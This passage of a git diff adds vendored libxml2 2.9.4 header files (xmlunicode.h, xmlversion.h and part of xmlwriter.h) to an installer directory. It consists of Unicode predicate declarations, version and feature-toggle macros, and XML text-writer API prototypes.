http://www.unicode.org/Public/4.0-Update1/UCD-4.0.1.html + * using the genUnicode.py Python script. + * + * Generation date: Mon Mar 27 11:09:52 2006 + * Sources: Blocks-4.0.1.txt UnicodeData-4.0.1.txt + * Author: Daniel Veillard + */ + +#ifndef __XML_UNICODE_H__ +#define __XML_UNICODE_H__ + +#include + +#ifdef LIBXML_UNICODE_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif + +XMLPUBFUN int XMLCALL xmlUCSIsAegeanNumbers (int code); +XMLPUBFUN int XMLCALL xmlUCSIsAlphabeticPresentationForms (int code); +XMLPUBFUN int XMLCALL xmlUCSIsArabic (int code); +XMLPUBFUN int XMLCALL xmlUCSIsArabicPresentationFormsA (int code); +XMLPUBFUN int XMLCALL xmlUCSIsArabicPresentationFormsB (int code); +XMLPUBFUN int XMLCALL xmlUCSIsArmenian (int code); +XMLPUBFUN int XMLCALL xmlUCSIsArrows (int code); +XMLPUBFUN int XMLCALL xmlUCSIsBasicLatin (int code); +XMLPUBFUN int XMLCALL xmlUCSIsBengali (int code); +XMLPUBFUN int XMLCALL xmlUCSIsBlockElements (int code); +XMLPUBFUN int XMLCALL xmlUCSIsBopomofo (int code); +XMLPUBFUN int XMLCALL xmlUCSIsBopomofoExtended (int code); +XMLPUBFUN int XMLCALL xmlUCSIsBoxDrawing (int code); +XMLPUBFUN int XMLCALL xmlUCSIsBraillePatterns (int code); +XMLPUBFUN int XMLCALL xmlUCSIsBuhid (int code); +XMLPUBFUN int XMLCALL xmlUCSIsByzantineMusicalSymbols (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibility (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibilityForms (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibilityIdeographs (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCJKCompatibilityIdeographsSupplement (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCJKRadicalsSupplement (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCJKSymbolsandPunctuation (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCJKUnifiedIdeographs (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCJKUnifiedIdeographsExtensionA (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCJKUnifiedIdeographsExtensionB (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCherokee (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCombiningDiacriticalMarks (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCombiningDiacriticalMarksforSymbols (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCombiningHalfMarks (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCombiningMarksforSymbols (int code); +XMLPUBFUN int XMLCALL xmlUCSIsControlPictures (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCurrencySymbols (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCypriotSyllabary (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCyrillic (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCyrillicSupplement (int code); +XMLPUBFUN int XMLCALL xmlUCSIsDeseret (int code); +XMLPUBFUN int XMLCALL xmlUCSIsDevanagari (int code); +XMLPUBFUN int XMLCALL xmlUCSIsDingbats (int code); +XMLPUBFUN int XMLCALL xmlUCSIsEnclosedAlphanumerics (int code); +XMLPUBFUN int XMLCALL xmlUCSIsEnclosedCJKLettersandMonths (int code); +XMLPUBFUN int XMLCALL xmlUCSIsEthiopic (int code); +XMLPUBFUN int XMLCALL xmlUCSIsGeneralPunctuation (int code); +XMLPUBFUN int XMLCALL xmlUCSIsGeometricShapes (int code); +XMLPUBFUN int XMLCALL xmlUCSIsGeorgian (int code); +XMLPUBFUN int XMLCALL xmlUCSIsGothic (int code); +XMLPUBFUN int XMLCALL xmlUCSIsGreek (int code); +XMLPUBFUN int XMLCALL xmlUCSIsGreekExtended (int code); +XMLPUBFUN int XMLCALL xmlUCSIsGreekandCoptic (int code); +XMLPUBFUN int XMLCALL xmlUCSIsGujarati (int code); +XMLPUBFUN int XMLCALL xmlUCSIsGurmukhi (int code); +XMLPUBFUN int XMLCALL xmlUCSIsHalfwidthandFullwidthForms (int code); +XMLPUBFUN int XMLCALL xmlUCSIsHangulCompatibilityJamo (int code); +XMLPUBFUN int XMLCALL xmlUCSIsHangulJamo (int code); +XMLPUBFUN int XMLCALL xmlUCSIsHangulSyllables (int code); +XMLPUBFUN int XMLCALL xmlUCSIsHanunoo (int code); +XMLPUBFUN int XMLCALL xmlUCSIsHebrew (int code); +XMLPUBFUN int XMLCALL xmlUCSIsHighPrivateUseSurrogates (int code); +XMLPUBFUN int XMLCALL xmlUCSIsHighSurrogates (int code); +XMLPUBFUN int XMLCALL xmlUCSIsHiragana (int code); +XMLPUBFUN int XMLCALL xmlUCSIsIPAExtensions (int code); +XMLPUBFUN int XMLCALL xmlUCSIsIdeographicDescriptionCharacters (int code); +XMLPUBFUN int XMLCALL xmlUCSIsKanbun (int code); +XMLPUBFUN int XMLCALL xmlUCSIsKangxiRadicals (int code); +XMLPUBFUN int XMLCALL xmlUCSIsKannada (int code); +XMLPUBFUN int XMLCALL xmlUCSIsKatakana (int code); +XMLPUBFUN int XMLCALL xmlUCSIsKatakanaPhoneticExtensions (int code); +XMLPUBFUN int XMLCALL xmlUCSIsKhmer (int code); +XMLPUBFUN int XMLCALL xmlUCSIsKhmerSymbols (int code); +XMLPUBFUN int XMLCALL xmlUCSIsLao (int code); +XMLPUBFUN int XMLCALL xmlUCSIsLatin1Supplement (int code); +XMLPUBFUN int XMLCALL xmlUCSIsLatinExtendedA (int code); +XMLPUBFUN int XMLCALL xmlUCSIsLatinExtendedB (int code); +XMLPUBFUN int XMLCALL xmlUCSIsLatinExtendedAdditional (int code); +XMLPUBFUN int XMLCALL xmlUCSIsLetterlikeSymbols (int code); +XMLPUBFUN int XMLCALL xmlUCSIsLimbu (int code); +XMLPUBFUN int XMLCALL xmlUCSIsLinearBIdeograms (int code); +XMLPUBFUN int XMLCALL xmlUCSIsLinearBSyllabary (int code); +XMLPUBFUN int XMLCALL xmlUCSIsLowSurrogates (int code); +XMLPUBFUN int XMLCALL xmlUCSIsMalayalam (int code); +XMLPUBFUN int XMLCALL xmlUCSIsMathematicalAlphanumericSymbols (int code); +XMLPUBFUN int XMLCALL xmlUCSIsMathematicalOperators (int code); +XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousMathematicalSymbolsA (int code); +XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousMathematicalSymbolsB (int code); +XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousSymbols (int code); +XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousSymbolsandArrows (int code); +XMLPUBFUN int XMLCALL xmlUCSIsMiscellaneousTechnical (int code); +XMLPUBFUN int XMLCALL xmlUCSIsMongolian (int code); +XMLPUBFUN int XMLCALL xmlUCSIsMusicalSymbols (int code); +XMLPUBFUN int XMLCALL xmlUCSIsMyanmar (int code); +XMLPUBFUN int XMLCALL xmlUCSIsNumberForms (int code); +XMLPUBFUN int XMLCALL xmlUCSIsOgham (int code); +XMLPUBFUN int XMLCALL xmlUCSIsOldItalic (int code); +XMLPUBFUN int XMLCALL xmlUCSIsOpticalCharacterRecognition (int code); +XMLPUBFUN int XMLCALL xmlUCSIsOriya (int code); +XMLPUBFUN int XMLCALL xmlUCSIsOsmanya (int code); +XMLPUBFUN int XMLCALL xmlUCSIsPhoneticExtensions (int code); +XMLPUBFUN int XMLCALL xmlUCSIsPrivateUse (int code); +XMLPUBFUN int XMLCALL xmlUCSIsPrivateUseArea (int code); +XMLPUBFUN int XMLCALL xmlUCSIsRunic (int code); +XMLPUBFUN int XMLCALL xmlUCSIsShavian (int code); +XMLPUBFUN int XMLCALL xmlUCSIsSinhala (int code); +XMLPUBFUN int XMLCALL xmlUCSIsSmallFormVariants (int code); +XMLPUBFUN int XMLCALL xmlUCSIsSpacingModifierLetters (int code); +XMLPUBFUN int XMLCALL xmlUCSIsSpecials (int code); +XMLPUBFUN int XMLCALL xmlUCSIsSuperscriptsandSubscripts (int code); +XMLPUBFUN int XMLCALL xmlUCSIsSupplementalArrowsA (int code); +XMLPUBFUN int XMLCALL xmlUCSIsSupplementalArrowsB (int code); +XMLPUBFUN int XMLCALL xmlUCSIsSupplementalMathematicalOperators (int code); +XMLPUBFUN int XMLCALL xmlUCSIsSupplementaryPrivateUseAreaA (int code); +XMLPUBFUN int XMLCALL xmlUCSIsSupplementaryPrivateUseAreaB (int code); +XMLPUBFUN int XMLCALL xmlUCSIsSyriac (int code); +XMLPUBFUN int XMLCALL xmlUCSIsTagalog (int code); +XMLPUBFUN int XMLCALL xmlUCSIsTagbanwa (int code); +XMLPUBFUN int XMLCALL xmlUCSIsTags (int code); +XMLPUBFUN int XMLCALL xmlUCSIsTaiLe (int code); +XMLPUBFUN int XMLCALL xmlUCSIsTaiXuanJingSymbols (int code); +XMLPUBFUN int XMLCALL xmlUCSIsTamil (int code); +XMLPUBFUN int XMLCALL xmlUCSIsTelugu (int code); +XMLPUBFUN int XMLCALL xmlUCSIsThaana (int code); +XMLPUBFUN int XMLCALL xmlUCSIsThai (int code); +XMLPUBFUN int XMLCALL xmlUCSIsTibetan (int code); +XMLPUBFUN int XMLCALL xmlUCSIsUgaritic (int code); +XMLPUBFUN int XMLCALL xmlUCSIsUnifiedCanadianAboriginalSyllabics (int code); +XMLPUBFUN int XMLCALL xmlUCSIsVariationSelectors (int code); +XMLPUBFUN int XMLCALL xmlUCSIsVariationSelectorsSupplement (int code); +XMLPUBFUN int XMLCALL xmlUCSIsYiRadicals (int code); +XMLPUBFUN int XMLCALL xmlUCSIsYiSyllables (int code); +XMLPUBFUN int XMLCALL xmlUCSIsYijingHexagramSymbols (int code); + +XMLPUBFUN int XMLCALL xmlUCSIsBlock (int code, const char *block); + +XMLPUBFUN int XMLCALL xmlUCSIsCatC (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatCc (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatCf (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatCo (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatCs (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatL (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatLl (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatLm (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatLo (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatLt (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatLu (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatM (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatMc (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatMe (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatMn (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatN (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatNd (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatNl (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatNo (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatP (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatPc (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatPd (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatPe (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatPf (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatPi (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatPo (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatPs (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatS (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatSc (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatSk (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatSm (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatSo (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatZ (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatZl (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatZp (int code); +XMLPUBFUN int XMLCALL xmlUCSIsCatZs (int code); + +XMLPUBFUN int XMLCALL xmlUCSIsCat (int code, const char *cat); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_UNICODE_ENABLED */ + +#endif /* __XML_UNICODE_H__ */ diff --git a/installer/libxml2/include/libxml/xmlversion.h b/installer/libxml2/include/libxml/xmlversion.h new file mode 100644 index 0000000..90efc74 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlversion.h @@ -0,0 +1,489 @@ +/* + * Summary: compile-time version informations + * Description: compile-time version informations for the XML library + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_VERSION_H__ +#define __XML_VERSION_H__ + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * use those to be sure nothing nasty will happen if + * your library and includes mismatch + */ +#ifndef LIBXML2_COMPILING_MSCCDEF +XMLPUBFUN void XMLCALL xmlCheckVersion(int version); +#endif /* LIBXML2_COMPILING_MSCCDEF */ + +/** + * LIBXML_DOTTED_VERSION: + * + * the version string like "1.2.3" + */ +#define LIBXML_DOTTED_VERSION "2.9.4" + +/** + * LIBXML_VERSION: + * + * the version number: 1.2.3 value is 10203 + */ +#define LIBXML_VERSION 20904 + +/** + * LIBXML_VERSION_STRING: + * + * the version number string, 1.2.3 value is "10203" + */ +#define LIBXML_VERSION_STRING "20904" + +/** + * LIBXML_VERSION_EXTRA: + * + * extra version information, used to show a CVS compilation + */ +#define LIBXML_VERSION_EXTRA "" + +/** + * LIBXML_TEST_VERSION: + * + * Macro to check that the libxml version in use is compatible with + * the version the software has been compiled against + */ +#define LIBXML_TEST_VERSION xmlCheckVersion(20904); + +#ifndef VMS +#if 0 +/** + * WITH_TRIO: + * + * defined if the trio support need to be configured in + */ +#define WITH_TRIO +#else +/** + * WITHOUT_TRIO: + * + * defined if the trio support should not be configured in + */ +#define WITHOUT_TRIO +#endif +#else /* VMS */ +/** + * WITH_TRIO: + * + * defined if the trio support need to be configured in + */ +#define WITH_TRIO 1 +#endif /* VMS */ + +/** + * LIBXML_THREAD_ENABLED: + * + * Whether the thread support is configured in + */ +#if 0 +#if defined(_REENTRANT) || defined(__MT__) || \ + (defined(_POSIX_C_SOURCE) && (_POSIX_C_SOURCE - 0 >= 199506L)) +#define LIBXML_THREAD_ENABLED +#endif +#endif + +/** + * LIBXML_THREAD_ALLOC_ENABLED: + * + * Whether the allocation hooks are per-thread + */ +#if 0 +#define LIBXML_THREAD_ALLOC_ENABLED +#endif + +/** + * LIBXML_TREE_ENABLED: + * + * Whether the DOM like tree manipulation API support is configured in + */ +#if 0 +#define LIBXML_TREE_ENABLED +#endif + +/** + * LIBXML_OUTPUT_ENABLED: + * + * Whether the serialization/saving support is configured in + */ +#if 1 +#define LIBXML_OUTPUT_ENABLED +#endif + +/** + * LIBXML_PUSH_ENABLED: + * + * Whether the push parsing interfaces are configured in + */ +#if 0 +#define LIBXML_PUSH_ENABLED +#endif + +/** + * LIBXML_READER_ENABLED: + * + * Whether the xmlReader parsing interface is configured in + */ +#if 0 +#define LIBXML_READER_ENABLED +#endif + +/** + * LIBXML_PATTERN_ENABLED: + * + * Whether the xmlPattern node selection interface is configured in + */ +#if 0 +#define LIBXML_PATTERN_ENABLED +#endif + +/** + * LIBXML_WRITER_ENABLED: + * + * Whether the xmlWriter saving interface is configured in + */ +#if 0 +#define LIBXML_WRITER_ENABLED +#endif + +/** + * LIBXML_SAX1_ENABLED: + * + * Whether the older SAX1 interface is configured in + */ +#if 0 +#define LIBXML_SAX1_ENABLED +#endif + +/** + * LIBXML_FTP_ENABLED: + * + * Whether the FTP support is configured in + */ +#if 0 +#define LIBXML_FTP_ENABLED +#endif + +/** + * LIBXML_HTTP_ENABLED: + * + * Whether the HTTP support is configured in + */ +#if 0 +#define LIBXML_HTTP_ENABLED +#endif + +/** + * LIBXML_VALID_ENABLED: + * + * Whether the DTD validation support is configured in + */ +#if 0 +#define LIBXML_VALID_ENABLED +#endif + +/** + * LIBXML_HTML_ENABLED: + * + * Whether the HTML support is configured in + */ +#if 0 +#define LIBXML_HTML_ENABLED +#endif + +/** + * LIBXML_LEGACY_ENABLED: + * + * Whether the deprecated APIs are compiled in for compatibility + */ +#if 0 +#define LIBXML_LEGACY_ENABLED +#endif + +/** + * LIBXML_C14N_ENABLED: + * + * Whether the Canonicalization support is configured in + */ +#if 0 +#define LIBXML_C14N_ENABLED +#endif + +/** + * LIBXML_CATALOG_ENABLED: + * + * Whether the Catalog support is configured in + */ +#if 0 +#define LIBXML_CATALOG_ENABLED +#endif + +/** + * LIBXML_DOCB_ENABLED: + * + * Whether the SGML Docbook support is configured in + */ +#if 0 +#define LIBXML_DOCB_ENABLED +#endif + +/** + * LIBXML_XPATH_ENABLED: + * + * Whether XPath is configured in + */ +#if 0 +#define LIBXML_XPATH_ENABLED +#endif + +/** + * LIBXML_XPTR_ENABLED: + * + * Whether XPointer is configured in + */ +#if 0 +#define LIBXML_XPTR_ENABLED +#endif + +/** + * LIBXML_XINCLUDE_ENABLED: + * + * Whether XInclude is configured in + */ +#if 0 +#define LIBXML_XINCLUDE_ENABLED +#endif + +/** + * LIBXML_ICONV_ENABLED: + * + * Whether iconv support is available + */ +#if 0 +#define LIBXML_ICONV_ENABLED +#endif + +/** + * LIBXML_ICU_ENABLED: + * + * Whether icu support is available + */ +#if 0 +#define LIBXML_ICU_ENABLED +#endif + +/** + * LIBXML_ISO8859X_ENABLED: + * + * Whether ISO-8859-* support is made available in case iconv is not + */ +#if 0 +#define LIBXML_ISO8859X_ENABLED +#endif + +/** + * LIBXML_DEBUG_ENABLED: + * + * Whether Debugging module is configured in + */ +#if 0 +#define LIBXML_DEBUG_ENABLED +#endif + +/** + * DEBUG_MEMORY_LOCATION: + * + * Whether the memory debugging is configured in + */ +#if 0 +#define DEBUG_MEMORY_LOCATION +#endif + +/** + * LIBXML_DEBUG_RUNTIME: + * + * Whether the runtime debugging is configured in + */ +#if 0 +#define LIBXML_DEBUG_RUNTIME +#endif + +/** + * LIBXML_UNICODE_ENABLED: + * + * Whether the Unicode related interfaces are compiled in + */ +#if 0 +#define LIBXML_UNICODE_ENABLED +#endif + +/** + * LIBXML_REGEXP_ENABLED: + * + * Whether the regular expressions interfaces are compiled in + */ +#if 0 +#define LIBXML_REGEXP_ENABLED +#endif + +/** + * LIBXML_AUTOMATA_ENABLED: + * + * Whether the automata interfaces are compiled in + */ +#if 0 +#define LIBXML_AUTOMATA_ENABLED +#endif + +/** + * LIBXML_EXPR_ENABLED: + * + * Whether the formal expressions interfaces are compiled in + */ +#if 0 +#define LIBXML_EXPR_ENABLED +#endif + +/** + * LIBXML_SCHEMAS_ENABLED: + * + * Whether the Schemas validation interfaces are compiled in + */ +#if 0 +#define LIBXML_SCHEMAS_ENABLED +#endif + +/** + * LIBXML_SCHEMATRON_ENABLED: + * + * Whether the Schematron validation interfaces are compiled in + */ +#if 0 +#define LIBXML_SCHEMATRON_ENABLED +#endif + +/** + * LIBXML_MODULES_ENABLED: + * + * Whether the module interfaces are compiled in + */ +#if 0 +#define LIBXML_MODULES_ENABLED +/** + * LIBXML_MODULE_EXTENSION: + * + * the string suffix used by dynamic modules (usually shared libraries) + */ +#define LIBXML_MODULE_EXTENSION "" +#endif + +/** + * LIBXML_ZLIB_ENABLED: + * + * Whether the Zlib support is compiled in + */ +#if 0 +#define LIBXML_ZLIB_ENABLED +#endif + +/** + * LIBXML_LZMA_ENABLED: + * + * Whether the Lzma support is compiled in + */ +#if 0 +#define LIBXML_LZMA_ENABLED +#endif + +#ifdef __GNUC__ +#ifdef HAVE_ANSIDECL_H +#include +#endif + +/** + * ATTRIBUTE_UNUSED: + * + * Macro used to signal to GCC unused function parameters + */ + +#ifndef ATTRIBUTE_UNUSED +# if ((__GNUC__ > 2) || ((__GNUC__ == 2) && (__GNUC_MINOR__ >= 7))) +# define ATTRIBUTE_UNUSED __attribute__((unused)) +# else +# define ATTRIBUTE_UNUSED +# endif +#endif + +/** + * LIBXML_ATTR_ALLOC_SIZE: + * + * Macro used to indicate to GCC this is an allocator function + */ + +#ifndef LIBXML_ATTR_ALLOC_SIZE +# if (!defined(__clang__) && ((__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 3)))) +# define LIBXML_ATTR_ALLOC_SIZE(x) __attribute__((alloc_size(x))) +# else +# define LIBXML_ATTR_ALLOC_SIZE(x) +# endif +#else +# define LIBXML_ATTR_ALLOC_SIZE(x) +#endif + +/** + * LIBXML_ATTR_FORMAT: + * + * Macro used to indicate to GCC the parameter are printf like + */ + +#ifndef LIBXML_ATTR_FORMAT +# if ((__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3))) +# define LIBXML_ATTR_FORMAT(fmt,args) __attribute__((__format__(__printf__,fmt,args))) +# else +# define LIBXML_ATTR_FORMAT(fmt,args) +# endif +#else +# define LIBXML_ATTR_FORMAT(fmt,args) +#endif + +#else /* ! __GNUC__ */ +/** + * ATTRIBUTE_UNUSED: + * + * Macro used to signal to GCC unused function parameters + */ +#define ATTRIBUTE_UNUSED +/** + * LIBXML_ATTR_ALLOC_SIZE: + * + * Macro used to indicate to GCC this is an allocator function + */ +#define LIBXML_ATTR_ALLOC_SIZE(x) +/** + * LIBXML_ATTR_FORMAT: + * + * Macro used to indicate to GCC the parameter are printf like + */ +#define LIBXML_ATTR_FORMAT(fmt,args) +#endif /* __GNUC__ */ + +#ifdef __cplusplus +} +#endif /* __cplusplus */ +#endif + + diff --git a/installer/libxml2/include/libxml/xmlwriter.h b/installer/libxml2/include/libxml/xmlwriter.h new file mode 100644 index 0000000..dd5add3 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlwriter.h @@ -0,0 +1,488 @@ +/* + * Summary: text writing API for XML + * Description: text writing API for XML + * + * Copy: See Copyright for the status of this software. + * + * Author: Alfred Mickautsch + */ + +#ifndef __XML_XMLWRITER_H__ +#define __XML_XMLWRITER_H__ + +#include + +#ifdef LIBXML_WRITER_ENABLED + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + + typedef struct _xmlTextWriter xmlTextWriter; + typedef xmlTextWriter *xmlTextWriterPtr; + +/* + * Constructors & Destructor + */ + XMLPUBFUN xmlTextWriterPtr XMLCALL + xmlNewTextWriter(xmlOutputBufferPtr out); + XMLPUBFUN xmlTextWriterPtr XMLCALL + xmlNewTextWriterFilename(const char *uri, int compression); + XMLPUBFUN xmlTextWriterPtr XMLCALL + xmlNewTextWriterMemory(xmlBufferPtr buf, int compression); + XMLPUBFUN xmlTextWriterPtr XMLCALL + xmlNewTextWriterPushParser(xmlParserCtxtPtr ctxt, int compression); + XMLPUBFUN xmlTextWriterPtr XMLCALL + xmlNewTextWriterDoc(xmlDocPtr * doc, int compression); + XMLPUBFUN xmlTextWriterPtr XMLCALL + xmlNewTextWriterTree(xmlDocPtr doc, xmlNodePtr node, + int compression); + XMLPUBFUN void XMLCALL xmlFreeTextWriter(xmlTextWriterPtr writer); + +/* + * Functions + */ + + +/* + * Document + */ + XMLPUBFUN int XMLCALL + xmlTextWriterStartDocument(xmlTextWriterPtr writer, + const char *version, + const char *encoding, + const char *standalone); + XMLPUBFUN int XMLCALL xmlTextWriterEndDocument(xmlTextWriterPtr + writer); + +/* + * Comments + */ + XMLPUBFUN int XMLCALL xmlTextWriterStartComment(xmlTextWriterPtr + writer); + XMLPUBFUN int XMLCALL xmlTextWriterEndComment(xmlTextWriterPtr writer); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatComment(xmlTextWriterPtr writer, + const char *format, ...) + LIBXML_ATTR_FORMAT(2,3); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatComment(xmlTextWriterPtr writer, + const char *format, + va_list argptr) + LIBXML_ATTR_FORMAT(2,0); + XMLPUBFUN int XMLCALL xmlTextWriterWriteComment(xmlTextWriterPtr + writer, + const xmlChar * + content); + +/* + * Elements + */ + XMLPUBFUN int XMLCALL + xmlTextWriterStartElement(xmlTextWriterPtr writer, + const xmlChar * name); + XMLPUBFUN int XMLCALL xmlTextWriterStartElementNS(xmlTextWriterPtr + writer, + const xmlChar * + prefix, + const xmlChar * name, + const xmlChar * + namespaceURI); + XMLPUBFUN int XMLCALL xmlTextWriterEndElement(xmlTextWriterPtr writer); + XMLPUBFUN int XMLCALL xmlTextWriterFullEndElement(xmlTextWriterPtr + writer); + +/* + * Elements conveniency functions + */ + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatElement(xmlTextWriterPtr writer, + const xmlChar * name, + const char *format, ...) + LIBXML_ATTR_FORMAT(3,4); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatElement(xmlTextWriterPtr writer, + const xmlChar * name, + const char *format, + va_list argptr) + LIBXML_ATTR_FORMAT(3,0); + XMLPUBFUN int XMLCALL xmlTextWriterWriteElement(xmlTextWriterPtr + writer, + const xmlChar * name, + const xmlChar * + content); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatElementNS(xmlTextWriterPtr writer, + const xmlChar * prefix, + const xmlChar * name, + const xmlChar * namespaceURI, + const char *format, ...) + LIBXML_ATTR_FORMAT(5,6); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatElementNS(xmlTextWriterPtr writer, + const xmlChar * prefix, + const xmlChar * name, + const xmlChar * namespaceURI, + const char *format, + va_list argptr) + LIBXML_ATTR_FORMAT(5,0); + XMLPUBFUN int XMLCALL xmlTextWriterWriteElementNS(xmlTextWriterPtr + writer, + const xmlChar * + prefix, + const xmlChar * name, + const xmlChar * + namespaceURI, + const xmlChar * + content); + +/* + * Text + */ + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatRaw(xmlTextWriterPtr writer, + const char *format, ...) + LIBXML_ATTR_FORMAT(2,3); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatRaw(xmlTextWriterPtr writer, + const char *format, va_list argptr) + LIBXML_ATTR_FORMAT(2,0); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteRawLen(xmlTextWriterPtr writer, + const xmlChar * content, int len); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteRaw(xmlTextWriterPtr writer, + const xmlChar * content); + XMLPUBFUN int XMLCALL xmlTextWriterWriteFormatString(xmlTextWriterPtr + writer, + const char + *format, ...) + LIBXML_ATTR_FORMAT(2,3); + XMLPUBFUN int XMLCALL xmlTextWriterWriteVFormatString(xmlTextWriterPtr + writer, + const char + *format, + va_list argptr) + LIBXML_ATTR_FORMAT(2,0); + XMLPUBFUN int XMLCALL xmlTextWriterWriteString(xmlTextWriterPtr writer, + const xmlChar * + content); + XMLPUBFUN int XMLCALL xmlTextWriterWriteBase64(xmlTextWriterPtr writer, + const char *data, + int start, int len); + XMLPUBFUN int XMLCALL xmlTextWriterWriteBinHex(xmlTextWriterPtr writer, + const char *data, + int start, int len); + +/* + * Attributes + */ + XMLPUBFUN int XMLCALL + xmlTextWriterStartAttribute(xmlTextWriterPtr writer, + const xmlChar * name); + XMLPUBFUN int XMLCALL xmlTextWriterStartAttributeNS(xmlTextWriterPtr + writer, + const xmlChar * + prefix, + const xmlChar * + name, + const xmlChar * + namespaceURI); + XMLPUBFUN int XMLCALL xmlTextWriterEndAttribute(xmlTextWriterPtr + writer); + +/* + * Attributes conveniency functions + */ + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatAttribute(xmlTextWriterPtr writer, + const xmlChar * name, + const char *format, ...) + LIBXML_ATTR_FORMAT(3,4); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatAttribute(xmlTextWriterPtr writer, + const xmlChar * name, + const char *format, + va_list argptr) + LIBXML_ATTR_FORMAT(3,0); + XMLPUBFUN int XMLCALL xmlTextWriterWriteAttribute(xmlTextWriterPtr + writer, + const xmlChar * name, + const xmlChar * + content); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatAttributeNS(xmlTextWriterPtr writer, + const xmlChar * prefix, + const xmlChar * name, + const xmlChar * namespaceURI, + const char *format, ...) + LIBXML_ATTR_FORMAT(5,6); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatAttributeNS(xmlTextWriterPtr writer, + const xmlChar * prefix, + const xmlChar * name, + const xmlChar * namespaceURI, + const char *format, + va_list argptr) + LIBXML_ATTR_FORMAT(5,0); + XMLPUBFUN int XMLCALL xmlTextWriterWriteAttributeNS(xmlTextWriterPtr + writer, + const xmlChar * + prefix, + const xmlChar * + name, + const xmlChar * + namespaceURI, + const xmlChar * + content); + +/* + * PI's + */ + XMLPUBFUN int XMLCALL + xmlTextWriterStartPI(xmlTextWriterPtr writer, + const xmlChar * target); + XMLPUBFUN int XMLCALL xmlTextWriterEndPI(xmlTextWriterPtr writer); + +/* + * PI conveniency functions + */ + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatPI(xmlTextWriterPtr writer, + const xmlChar * target, + const char *format, ...) + LIBXML_ATTR_FORMAT(3,4); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatPI(xmlTextWriterPtr writer, + const xmlChar * target, + const char *format, va_list argptr) + LIBXML_ATTR_FORMAT(3,0); + XMLPUBFUN int XMLCALL + xmlTextWriterWritePI(xmlTextWriterPtr writer, + const xmlChar * target, + const xmlChar * content); + +/** + * xmlTextWriterWriteProcessingInstruction: + * + * This macro maps to xmlTextWriterWritePI + */ +#define xmlTextWriterWriteProcessingInstruction xmlTextWriterWritePI + +/* + * CDATA + */ + 